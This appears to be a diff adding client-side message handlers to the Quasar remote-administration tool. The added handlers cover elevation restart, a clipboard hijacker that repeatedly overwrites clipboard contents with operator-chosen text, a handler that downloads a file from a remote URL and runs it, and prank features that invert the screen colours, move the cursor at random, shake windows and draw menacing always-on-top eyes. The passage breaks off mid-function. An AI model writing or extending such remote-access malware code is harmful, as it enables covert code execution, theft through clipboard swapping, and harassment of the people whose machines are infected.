_application.ApplicationMutex.Dispose(); // close the mutex so the new process can run
|
||||||
|
try
|
||||||
|
{
|
||||||
|
Process.Start(processStartInfo);
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
client.Send(new SetStatus {Message = "User refused the elevation request."});
|
||||||
|
_application.ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); // re-grab the mutex
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
_client.Exit();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
client.Send(new SetStatus { Message = "Process already elevated." });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,54 @@
|
|||||||
|
using Quasar.Common.Messages;
|
||||||
|
using Quasar.Common.Networking;
|
||||||
|
using System;
|
||||||
|
using System.Threading;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Messages
|
||||||
|
{
|
||||||
|
public class ClipboardHijackHandler : IMessageProcessor, IDisposable
|
||||||
|
{
|
||||||
|
private Thread _thread;
|
||||||
|
private volatile bool _running;
|
||||||
|
private string _replacementText;
|
||||||
|
|
||||||
|
public bool CanExecute(IMessage message) => message is DoStartClipboardHijack || message is DoStopClipboardHijack;
|
||||||
|
public bool CanExecuteFrom(ISender sender) => true;
|
||||||
|
|
||||||
|
public void Execute(ISender sender, IMessage message)
|
||||||
|
{
|
||||||
|
switch (message)
|
||||||
|
{
|
||||||
|
case DoStartClipboardHijack start: Start(start.ReplacementText); break;
|
||||||
|
case DoStopClipboardHijack _: Stop(); break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Start(string replacementText)
|
||||||
|
{
|
||||||
|
Stop();
|
||||||
|
_replacementText = replacementText;
|
||||||
|
_running = true;
|
||||||
|
_thread = new Thread(() =>
|
||||||
|
{
|
||||||
|
while (_running)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (Clipboard.GetText() != _replacementText)
|
||||||
|
Clipboard.SetText(_replacementText);
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
Thread.Sleep(500);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
_thread.SetApartmentState(ApartmentState.STA);
|
||||||
|
_thread.IsBackground = true;
|
||||||
|
_thread.Start();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Stop() => _running = false;
|
||||||
|
|
||||||
|
public void Dispose() => Stop();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,61 @@
|
|||||||
|
using Quasar.Common.Messages;
|
||||||
|
using Quasar.Common.Networking;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Messages
|
||||||
|
{
|
||||||
|
public class ColorInvertHandler : IMessageProcessor
|
||||||
|
{
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
private struct MAGCOLOREFFECT
|
||||||
|
{
|
||||||
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 25)]
|
||||||
|
public float[] transform;
|
||||||
|
}
|
||||||
|
|
||||||
|
[DllImport("Magnification.dll", CallingConvention = CallingConvention.StdCall)]
|
||||||
|
private static extern bool MagInitialize();
|
||||||
|
|
||||||
|
[DllImport("Magnification.dll", CallingConvention = CallingConvention.StdCall)]
|
||||||
|
private static extern bool MagUninitialize();
|
||||||
|
|
||||||
|
[DllImport("Magnification.dll", CallingConvention = CallingConvention.StdCall)]
|
||||||
|
private static extern bool MagSetFullscreenColorEffect(ref MAGCOLOREFFECT pEffect);
|
||||||
|
|
||||||
|
private static readonly float[] _invertMatrix = {
|
||||||
|
-1, 0, 0, 0, 0,
|
||||||
|
0, -1, 0, 0, 0,
|
||||||
|
0, 0, -1, 0, 0,
|
||||||
|
0, 0, 0, 1, 0,
|
||||||
|
1, 1, 1, 0, 1
|
||||||
|
};
|
||||||
|
|
||||||
|
private static readonly float[] _identityMatrix = {
|
||||||
|
1, 0, 0, 0, 0,
|
||||||
|
0, 1, 0, 0, 0,
|
||||||
|
0, 0, 1, 0, 0,
|
||||||
|
0, 0, 0, 1, 0,
|
||||||
|
0, 0, 0, 0, 1
|
||||||
|
};
|
||||||
|
|
||||||
|
public bool CanExecute(IMessage message) =>
|
||||||
|
message is DoStartColorInvert || message is DoStopColorInvert;
|
||||||
|
|
||||||
|
public bool CanExecuteFrom(ISender sender) => true;
|
||||||
|
|
||||||
|
public void Execute(ISender sender, IMessage message)
|
||||||
|
{
|
||||||
|
if (message is DoStartColorInvert)
|
||||||
|
ApplyEffect(_invertMatrix);
|
||||||
|
else if (message is DoStopColorInvert)
|
||||||
|
ApplyEffect(_identityMatrix);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void ApplyEffect(float[] matrix)
|
||||||
|
{
|
||||||
|
MagInitialize();
|
||||||
|
var effect = new MAGCOLOREFFECT { transform = matrix };
|
||||||
|
MagSetFullscreenColorEffect(ref effect);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,57 @@
|
|||||||
|
using Quasar.Common.Messages;
|
||||||
|
using Quasar.Common.Networking;
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Threading;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Messages
|
||||||
|
{
|
||||||
|
public class CursorChaosHandler : IMessageProcessor, IDisposable
|
||||||
|
{
|
||||||
|
[DllImport("user32.dll")]
|
||||||
|
private static extern bool SetCursorPos(int x, int y);
|
||||||
|
|
||||||
|
private Thread _thread;
|
||||||
|
private volatile bool _running;
|
||||||
|
|
||||||
|
public bool CanExecute(IMessage message) => message is DoStartCursorChaos || message is DoStopCursorChaos;
|
||||||
|
public bool CanExecuteFrom(ISender sender) => true;
|
||||||
|
|
||||||
|
public void Execute(ISender sender, IMessage message)
|
||||||
|
{
|
||||||
|
switch (message)
|
||||||
|
{
|
||||||
|
case DoStartCursorChaos _: Start(); break;
|
||||||
|
case DoStopCursorChaos _: Stop(); break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Start()
|
||||||
|
{
|
||||||
|
if (_running) return;
|
||||||
|
_running = true;
|
||||||
|
_thread = new Thread(() =>
|
||||||
|
{
|
||||||
|
var rng = new Random();
|
||||||
|
while (_running)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
int x = rng.Next(SystemInformation.VirtualScreen.Left, SystemInformation.VirtualScreen.Right);
|
||||||
|
int y = rng.Next(SystemInformation.VirtualScreen.Top, SystemInformation.VirtualScreen.Bottom);
|
||||||
|
SetCursorPos(x, y);
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
Thread.Sleep(100);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
_thread.IsBackground = true;
|
||||||
|
_thread.Start();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Stop() => _running = false;
|
||||||
|
|
||||||
|
public void Dispose() => Stop();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,108 @@
|
|||||||
|
using Quasar.Common.Messages;
|
||||||
|
using Quasar.Common.Networking;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Threading;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Messages
|
||||||
|
{
|
||||||
|
public class DrunkModeHandler : IMessageProcessor, IDisposable
|
||||||
|
{
|
||||||
|
[DllImport("user32.dll")] static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam);
|
||||||
|
[DllImport("user32.dll")] static extern bool IsWindowVisible(IntPtr hWnd);
|
||||||
|
[DllImport("user32.dll")] static extern bool GetWindowRect(IntPtr hWnd, out RECT lpRect);
|
||||||
|
[DllImport("user32.dll")] static extern bool SetWindowPos(IntPtr hWnd, IntPtr hAfter, int X, int Y, int cx, int cy, uint uFlags);
|
||||||
|
[DllImport("user32.dll")] static extern int GetWindowLong(IntPtr hWnd, int nIndex);
|
||||||
|
|
||||||
|
delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam);
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
struct RECT { public int Left, Top, Right, Bottom; }
|
||||||
|
|
||||||
|
const uint SWP_NOSIZE = 0x0001;
|
||||||
|
const uint SWP_NOZORDER = 0x0004;
|
||||||
|
const uint SWP_NOACTIVATE = 0x0010;
|
||||||
|
const uint SWP_NOSENDCHANGING = 0x0400;
|
||||||
|
const int GWL_STYLE = -16;
|
||||||
|
const int WS_MAXIMIZE = 0x01000000;
|
||||||
|
const int WS_MINIMIZE = 0x20000000;
|
||||||
|
|
||||||
|
private Thread _thread;
|
||||||
|
private volatile bool _running;
|
||||||
|
|
||||||
|
public bool CanExecute(IMessage message) => message is DoStartDrunkMode || message is DoStopDrunkMode;
|
||||||
|
public bool CanExecuteFrom(ISender sender) => true;
|
||||||
|
|
||||||
|
public void Execute(ISender sender, IMessage message)
|
||||||
|
{
|
||||||
|
if (message is DoStartDrunkMode) Start();
|
||||||
|
else if (message is DoStopDrunkMode) Stop();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Start()
|
||||||
|
{
|
||||||
|
if (_running) return;
|
||||||
|
_running = true;
|
||||||
|
_thread = new Thread(DrunkLoop) { IsBackground = true };
|
||||||
|
_thread.Start();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Stop()
|
||||||
|
{
|
||||||
|
_running = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void DrunkLoop()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
// snapshot all moveable windows and their original positions
|
||||||
|
var origX = new Dictionary<IntPtr, int>();
|
||||||
|
var origY = new Dictionary<IntPtr, int>();
|
||||||
|
|
||||||
|
EnumWindows((hWnd, _) =>
|
||||||
|
{
|
||||||
|
if (!IsWindowVisible(hWnd)) return true;
|
||||||
|
int style = GetWindowLong(hWnd, GWL_STYLE);
|
||||||
|
if ((style & WS_MAXIMIZE) != 0 || (style & WS_MINIMIZE) != 0) return true;
|
||||||
|
RECT r;
|
||||||
|
if (GetWindowRect(hWnd, out r))
|
||||||
|
{
|
||||||
|
origX[hWnd] = r.Left;
|
||||||
|
origY[hWnd] = r.Top;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}, IntPtr.Zero);
|
||||||
|
|
||||||
|
double t = 0;
|
||||||
|
while (_running)
|
||||||
|
{
|
||||||
|
int xOff = (int)(Math.Sin(t * 0.9) * 35);
|
||||||
|
int yOff = (int)(Math.Sin(t * 0.55 + 1.3) * 20);
|
||||||
|
|
||||||
|
foreach (var hWnd in origX.Keys)
|
||||||
|
{
|
||||||
|
SetWindowPos(hWnd, IntPtr.Zero,
|
||||||
|
origX[hWnd] + xOff, origY[hWnd] + yOff,
|
||||||
|
0, 0, SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE | SWP_NOSENDCHANGING);
|
||||||
|
}
|
||||||
|
|
||||||
|
t += 0.05;
|
||||||
|
Thread.Sleep(20);
|
||||||
|
}
|
||||||
|
|
||||||
|
// restore all windows to their original positions
|
||||||
|
foreach (var hWnd in origX.Keys)
|
||||||
|
{
|
||||||
|
SetWindowPos(hWnd, IntPtr.Zero,
|
||||||
|
origX[hWnd], origY[hWnd],
|
||||||
|
0, 0, SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE | SWP_NOSENDCHANGING);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Dispose() => Stop();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,37 @@
|
|||||||
|
using Quasar.Common.Messages;
|
||||||
|
using Quasar.Common.Networking;
|
||||||
|
using System;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.IO;
|
||||||
|
using System.Net;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Messages
|
||||||
|
{
|
||||||
|
public class ExecutionHandler : IMessageProcessor
|
||||||
|
{
|
||||||
|
public bool CanExecute(IMessage message) => message is DoExecute;
|
||||||
|
public bool CanExecuteFrom(ISender sender) => true;
|
||||||
|
|
||||||
|
public void Execute(ISender sender, IMessage message)
|
||||||
|
{
|
||||||
|
var msg = (DoExecute)message;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (msg.IsUrl)
|
||||||
|
{
|
||||||
|
string ext = Path.GetExtension(new Uri(msg.FilePath).LocalPath);
|
||||||
|
if (string.IsNullOrEmpty(ext)) ext = ".exe";
|
||||||
|
string tmp = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName() + ext);
|
||||||
|
using (var wc = new WebClient())
|
||||||
|
wc.DownloadFile(msg.FilePath, tmp);
|
||||||
|
Process.Start(new ProcessStartInfo { FileName = tmp, UseShellExecute = true });
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Process.Start(new ProcessStartInfo { FileName = msg.FilePath, UseShellExecute = true });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,379 @@
|
|||||||
|
using Quasar.Common.Messages;
|
||||||
|
using Quasar.Common.Networking;
|
||||||
|
using System;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Drawing2D;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Threading;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Messages
|
||||||
|
{
|
||||||
|
public class EyesHandler : IMessageProcessor
|
||||||
|
{
|
||||||
|
private Thread _thread;
|
||||||
|
private volatile bool _running;
|
||||||
|
private EyesForm _form;
|
||||||
|
|
||||||
|
public bool CanExecute(IMessage message) => message is DoStartEyes || message is DoStopEyes;
|
||||||
|
public bool CanExecuteFrom(ISender sender) => true;
|
||||||
|
|
||||||
|
public void Execute(ISender sender, IMessage message)
|
||||||
|
{
|
||||||
|
if (message is DoStartEyes) Start();
|
||||||
|
else if (message is DoStopEyes) Stop();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Start()
|
||||||
|
{
|
||||||
|
if (_running) return;
|
||||||
|
_running = true;
|
||||||
|
_thread = new Thread(RunEyes) { IsBackground = true };
|
||||||
|
_thread.SetApartmentState(ApartmentState.STA);
|
||||||
|
_thread.Start();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Stop()
|
||||||
|
{
|
||||||
|
_running = false;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
var f = _form;
|
||||||
|
if (f != null && !f.IsDisposed)
|
||||||
|
f.Invoke(new Action(() => { if (!f.IsDisposed) f.Close(); }));
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}
|
||||||
|
|
||||||
|
private void RunEyes()
|
||||||
|
{
|
||||||
|
_form = new EyesForm();
|
||||||
|
Application.Run(_form);
|
||||||
|
_form = null;
|
||||||
|
_running = false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class EyesForm : Form
|
||||||
|
{
|
||||||
|
[DllImport("user32.dll")] private static extern bool GetCursorPos(out POINT pt);
|
||||||
|
[DllImport("user32.dll")] private static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags);
|
||||||
|
private static readonly IntPtr HWND_TOPMOST = new IntPtr(-1);
|
||||||
|
private const uint SWP_NOMOVE = 0x0002, SWP_NOSIZE = 0x0001, SWP_NOACTIVATE = 0x0010;
|
||||||
|
[StructLayout(LayoutKind.Sequential)] private struct POINT { public int X, Y; }
|
||||||
|
|
||||||
|
private readonly System.Windows.Forms.Timer _timer;
|
||||||
|
private readonly Random _rng = new Random();
|
||||||
|
|
||||||
|
// Animation state
|
||||||
|
private bool _blinking;
|
||||||
|
private int _ticksSinceBlink;
|
||||||
|
private bool _twitching;
|
||||||
|
private float _twitchDX, _twitchDY;
|
||||||
|
private int _pulseFrame;
|
||||||
|
|
||||||
|
// Eye geometry
|
||||||
|
private const float CX1 = 72f, CX2 = 216f, CY = 72f;
|
||||||
|
private const float RX = 58f; // half-width
|
||||||
|
private const float IRIS_R = 24f;
|
||||||
|
|
||||||
|
public EyesForm()
|
||||||
|
{
|
||||||
|
FormBorderStyle = FormBorderStyle.None;
|
||||||
|
TopMost = true;
|
||||||
|
ShowInTaskbar = false;
|
||||||
|
BackColor = Color.Lime;
|
||||||
|
TransparencyKey = Color.Lime;
|
||||||
|
StartPosition = FormStartPosition.Manual;
|
||||||
|
Size = new Size(300, 150);
|
||||||
|
DoubleBuffered = true;
|
||||||
|
|
||||||
|
var screen = Screen.PrimaryScreen.WorkingArea;
|
||||||
|
Location = new Point(screen.Right - 318, screen.Bottom - 168);
|
||||||
|
|
||||||
|
_timer = new System.Windows.Forms.Timer { Interval = 30 };
|
||||||
|
_timer.Tick += OnTick;
|
||||||
|
_timer.Start();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void OnTick(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
_pulseFrame++;
|
||||||
|
_ticksSinceBlink++;
|
||||||
|
|
||||||
|
if (!_blinking && _ticksSinceBlink > 90 && _rng.Next(60) == 0)
|
||||||
|
{
|
||||||
|
_blinking = true;
|
||||||
|
_ticksSinceBlink = 0;
|
||||||
|
var t = new System.Windows.Forms.Timer { Interval = 180 };
|
||||||
|
t.Tick += (s, _) => { _blinking = false; t.Stop(); t.Dispose(); };
|
||||||
|
t.Start();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!_twitching && _rng.Next(90) == 0)
|
||||||
|
{
|
||||||
|
_twitching = true;
|
||||||
|
_twitchDX = (float)(_rng.NextDouble() * 18 - 9);
|
||||||
|
_twitchDY = (float)(_rng.NextDouble() * 10 - 5);
|
||||||
|
var t = new System.Windows.Forms.Timer { Interval = 60 };
|
||||||
|
t.Tick += (s, _) => { _twitching = false; t.Stop(); t.Dispose(); };
|
||||||
|
t.Start();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Re-assert topmost every tick so fullscreen apps can't push us under
|
||||||
|
SetWindowPos(Handle, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
|
||||||
|
Invalidate();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Realistic eyelid outline — natural bezier curves
|
||||||
|
private static GraphicsPath MakeEyePath(float cx, float cy)
|
||||||
|
{
|
||||||
|
var path = new GraphicsPath();
|
||||||
|
// Inner (left) corner sits slightly below center; outer (right) slightly above
|
||||||
|
float lx = cx - RX, rx = cx + RX;
|
||||||
|
float innerY = cy + 4f, outerY = cy;
|
||||||
|
|
||||||
|
// Upper lid: fast rise near inner corner, peak above cx, sweeps to outer corner
|
||||||
|
path.AddBezier(
|
||||||
|
lx, innerY,
|
||||||
|
cx - RX * 0.3f, cy - 50f,
|
||||||
|
cx + RX * 0.1f, cy - 52f,
|
||||||
|
rx, outerY);
|
||||||
|
|
||||||
|
// Lower lid: gentle drop from outer corner, flatter belly, rises to inner corner
|
||||||
|
path.AddBezier(
|
||||||
|
rx, outerY,
|
||||||
|
cx + RX * 0.4f, cy + 22f,
|
||||||
|
cx - RX * 0.2f, cy + 24f,
|
||||||
|
lx, innerY);
|
||||||
|
|
||||||
|
path.CloseFigure();
|
||||||
|
return path;
|
||||||
|
}
|
||||||
|
|
||||||
|
protected override void OnPaint(PaintEventArgs e)
|
||||||
|
{
|
||||||
|
var g = e.Graphics;
|
||||||
|
g.SmoothingMode = SmoothingMode.AntiAlias;
|
||||||
|
g.InterpolationMode = InterpolationMode.HighQualityBicubic;
|
||||||
|
|
||||||
|
GetCursorPos(out POINT cursor);
|
||||||
|
var origin = PointToScreen(Point.Empty);
|
||||||
|
|
||||||
|
DrawEye(g, CX1, CY, cursor, origin);
|
||||||
|
DrawEye(g, CX2, CY, cursor, origin);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void DrawEye(Graphics g, float cx, float cy, POINT cursor, Point origin)
|
||||||
|
{
|
||||||
|
using (var eyePath = MakeEyePath(cx, cy))
|
||||||
|
{
|
||||||
|
var bounds = eyePath.GetBounds();
|
||||||
|
|
||||||
|
// ── Sclera — slightly cool white ────────────────────────────────
|
||||||
|
using (var b = new SolidBrush(Color.FromArgb(242, 242, 248)))
|
||||||
|
g.FillPath(b, eyePath);
|
||||||
|
|
||||||
|
// ── Blood veins — thin red beziers across the white ─────────────
|
||||||
|
DrawVeins(g, cx, cy, eyePath);
|
||||||
|
|
||||||
|
if (!_blinking)
|
||||||
|
{
|
||||||
|
// ── Cursor tracking ──────────────────────────────────────────
|
||||||
|
float dx = cursor.X - (origin.X + cx);
|
||||||
|
float dy = cursor.Y - (origin.Y + cy);
|
||||||
|
if (_twitching) { dx += _twitchDX; dy += _twitchDY; }
|
||||||
|
|
||||||
|
float dist = (float)Math.Sqrt(dx * dx + dy * dy);
|
||||||
|
float pulse = (float)Math.Sin(_pulseFrame * 0.04) * 1.5f;
|
||||||
|
float irisR = IRIS_R + pulse;
|
||||||
|
float pupilR = irisR * 0.68f; // huge dilated pupil = menacing
|
||||||
|
float maxTravel = irisR - pupilR - 1f;
|
||||||
|
float px = cx, py = cy;
|
||||||
|
if (dist > 0)
|
||||||
|
{
|
||||||
|
float ratio = Math.Min(dist, maxTravel) / dist;
|
||||||
|
px = cx + dx * ratio;
|
||||||
|
py = cy + dy * ratio;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Clip iris/pupil to sclera shape
|
||||||
|
var clipState = g.Save();
|
||||||
|
g.SetClip(eyePath);
|
||||||
|
|
||||||
|
// Upper lid shadow — dark gradient bleeding down from top of lid
|
||||||
|
var lidShadowRect = new RectangleF(bounds.X, bounds.Y - 2, bounds.Width, bounds.Height * 0.55f);
|
||||||
|
using (var lgb = new LinearGradientBrush(
|
||||||
|
new PointF(0, bounds.Y),
|
||||||
|
new PointF(0, bounds.Y + bounds.Height * 0.55f),
|
||||||
|
Color.FromArgb(90, 20, 10, 5),
|
||||||
|
Color.FromArgb(0, 0, 0, 0)))
|
||||||
|
g.FillRectangle(lgb, lidShadowRect);
|
||||||
|
|
||||||
|
// Iris — dark forest green (realistic + eerie)
|
||||||
|
using (var b = new SolidBrush(Color.FromArgb(38, 68, 42)))
|
||||||
|
g.FillEllipse(b, px - irisR, py - irisR, irisR * 2, irisR * 2);
|
||||||
|
|
||||||
|
// Iris texture — radial spokes
|
||||||
|
using (var pen = new Pen(Color.FromArgb(80, 55, 90, 58), 1f))
|
||||||
|
{
|
||||||
|
for (int a = 0; a < 360; a += 10)
|
||||||
|
{
|
||||||
|
float rad = a * (float)Math.PI / 180f;
|
||||||
|
float cos = (float)Math.Cos(rad), sin = (float)Math.Sin(rad);
|
||||||
|
g.DrawLine(pen,
|
||||||
|
px + (pupilR + 1f) * cos, py + (pupilR + 1f) * sin,
|
||||||
|
px + (irisR - 1f) * cos, py + (irisR - 1f) * sin);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Dark limbal ring
|
||||||
|
using (var pen = new Pen(Color.FromArgb(14, 22, 14), 2f))
|
||||||
|
g.DrawEllipse(pen, px - irisR, py - irisR, irisR * 2, irisR * 2);
|
||||||
|
|
||||||
|
// Massive dilated pupil
|
||||||
|
g.FillEllipse(Brushes.Black, px - pupilR, py - pupilR, pupilR * 2, pupilR * 2);
|
||||||
|
|
||||||
|
g.Restore(clipState);
|
||||||
|
|
||||||
|
// Specular highlights — two dots, natural positions
|
||||||
|
g.FillEllipse(Brushes.White, px - irisR * 0.55f, py - irisR * 0.7f, 6f, 5f);
|
||||||
|
using (var b = new SolidBrush(Color.FromArgb(160, 255, 255, 255)))
|
||||||
|
g.FillEllipse(b, px + irisR * 0.2f, py + irisR * 0.1f, 3f, 3f);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Eyelid fill on blink (dark skin tone) ───────────────────────
|
||||||
|
if (_blinking)
|
||||||
|
{
|
||||||
|
using (var b = new SolidBrush(Color.FromArgb(168, 130, 108)))
|
||||||
|
g.FillPath(b, eyePath);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Upper eyelid outline — thick dark line ───────────────────────
|
||||||
|
float lx = cx - RX, rx = cx + RX;
|
||||||
|
float innerY = cy + 4f, outerY = cy;
|
||||||
|
using (var pen = new Pen(Color.FromArgb(28, 16, 10), 2.5f))
|
||||||
|
{
|
||||||
|
using (var upperPath = new GraphicsPath())
|
||||||
|
{
|
||||||
|
upperPath.AddBezier(
|
||||||
|
lx, innerY,
|
||||||
|
cx - RX * 0.3f, cy - 50f,
|
||||||
|
cx + RX * 0.1f, cy - 52f,
|
||||||
|
rx, outerY);
|
||||||
|
g.DrawPath(pen, upperPath);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Lower eyelid outline — thinner ──────────────────────────────
|
||||||
|
using (var pen = new Pen(Color.FromArgb(50, 30, 20), 1.5f))
|
||||||
|
{
|
||||||
|
using (var lowerPath = new GraphicsPath())
|
||||||
|
{
|
||||||
|
lowerPath.AddBezier(
|
||||||
|
rx, outerY,
|
||||||
|
cx + RX * 0.4f, cy + 22f,
|
||||||
|
cx - RX * 0.2f, cy + 24f,
|
||||||
|
lx, innerY);
|
||||||
|
g.DrawPath(pen, lowerPath);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Eyelashes — upper lid only ───────────────────────────────────
|
||||||
|
DrawEyelashes(g, cx, cy);
|
||||||
|
|
||||||
|
// ── Pink inner corner (caruncle) ─────────────────────────────────
|
||||||
|
using (var b = new SolidBrush(Color.FromArgb(200, 195, 90, 85)))
|
||||||
|
g.FillEllipse(b, lx - 2f, cy - 3f, 10f, 8f);
|
||||||
|
|
||||||
|
// ── Red lower waterline ──────────────────────────────────────────
|
||||||
|
using (var pen = new Pen(Color.FromArgb(120, 180, 50, 50), 1.5f))
|
||||||
|
{
|
||||||
|
using (var waterline = new GraphicsPath())
|
||||||
|
{
|
||||||
|
waterline.AddBezier(
|
||||||
|
rx - 4f, outerY + 8f,
|
||||||
|
cx + RX * 0.3f, cy + 16f,
|
||||||
|
cx - RX * 0.15f, cy + 17f,
|
||||||
|
lx + 4f, innerY + 6f);
|
||||||
|
g.DrawPath(pen, waterline);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void DrawVeins(Graphics g, float cx, float cy, GraphicsPath clipPath)
|
||||||
|
{
|
||||||
|
var clipState = g.Save();
|
||||||
|
g.SetClip(clipPath);
|
||||||
|
|
||||||
|
// Each row: x1,y1, cx1,cy1, cx2,cy2, x2,y2 (bezier control points)
|
||||||
|
float[][] veins = {
|
||||||
|
new float[]{ cx-RX+3, cy+2, cx-RX+22, cy-6, cx-IRIS_R-14, cy-4, cx-IRIS_R-4, cy-2 },
|
||||||
|
new float[]{ cx-RX+5, cy+8, cx-RX+18, cy+14, cx-IRIS_R-10, cy+9, cx-IRIS_R-3, cy+5 },
|
||||||
|
new float[]{ cx-RX+8, cy-6, cx-RX+24, cy-16, cx-IRIS_R-8, cy-11, cx-IRIS_R-2, cy-7 },
|
||||||
|
new float[]{ cx+RX-3, cy+2, cx+RX-20, cy-5, cx+IRIS_R+12, cy-3, cx+IRIS_R+3, cy-1 },
|
||||||
|
new float[]{ cx+RX-6, cy-8, cx+RX-22, cy-14, cx+IRIS_R+9, cy-9, cx+IRIS_R+2, cy-5 },
|
||||||
|
new float[]{ cx-6, cy-50, cx-4, cy-30, cx-2, cy-IRIS_R-8, cx-1, cy-IRIS_R-2 },
|
||||||
|
};
|
||||||
|
|
||||||
|
using (var pen = new Pen(Color.FromArgb(190, 185, 25, 25), 1f))
|
||||||
|
{
|
||||||
|
foreach (var v in veins)
|
||||||
|
g.DrawBezier(pen, v[0], v[1], v[2], v[3], v[4], v[5], v[6], v[7]);
|
||||||
|
}
|
||||||
|
|
||||||
|
using (var pen = new Pen(Color.FromArgb(110, 185, 25, 25), 0.8f))
|
||||||
|
{
|
||||||
|
g.DrawBezier(pen, cx-RX+14, cy+5, cx-RX+28, cy+10, cx-IRIS_R-6, cy+12, cx-IRIS_R-1, cy+8);
|
||||||
|
g.DrawBezier(pen, cx+RX-14, cy-3, cx+RX-28, cy-9, cx+IRIS_R+5, cy-11, cx+IRIS_R+1, cy-7);
|
||||||
|
}
|
||||||
|
|
||||||
|
g.Restore(clipState);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void DrawEyelashes(Graphics g, float cx, float cy)
|
||||||
|
{
|
||||||
|
float lx = cx - RX, rx = cx + RX;
|
||||||
|
float innerY = cy + 4f, outerY = cy;
|
||||||
|
|
||||||
|
const int count = 12;
|
||||||
|
using (var pen = new Pen(Color.FromArgb(220, 18, 10, 6), 1.5f))
|
||||||
|
{
|
||||||
|
for (int i = 0; i < count; i++)
|
||||||
|
{
|
||||||
|
float t = (float)i / (count - 1);
|
||||||
|
// Sample point along the upper lid bezier (De Casteljau t)
|
||||||
|
float it = 1f - t;
|
||||||
|
float bx = it*it*it*lx + 3*it*it*t*(cx - RX*0.3f) + 3*it*t*t*(cx + RX*0.1f) + t*t*t*rx;
|
||||||
|
float by = it*it*it*innerY + 3*it*it*t*(cy - 50f) + 3*it*t*t*(cy - 52f) + t*t*t*outerY;
|
||||||
|
|
||||||
|
// Tangent direction at t (derivative of cubic bezier)
|
||||||
|
float tbx = 3*(it*it*(cx - RX*0.3f - lx) + 2*it*t*(cx + RX*0.1f - (cx - RX*0.3f)) + t*t*(rx - (cx + RX*0.1f)));
|
||||||
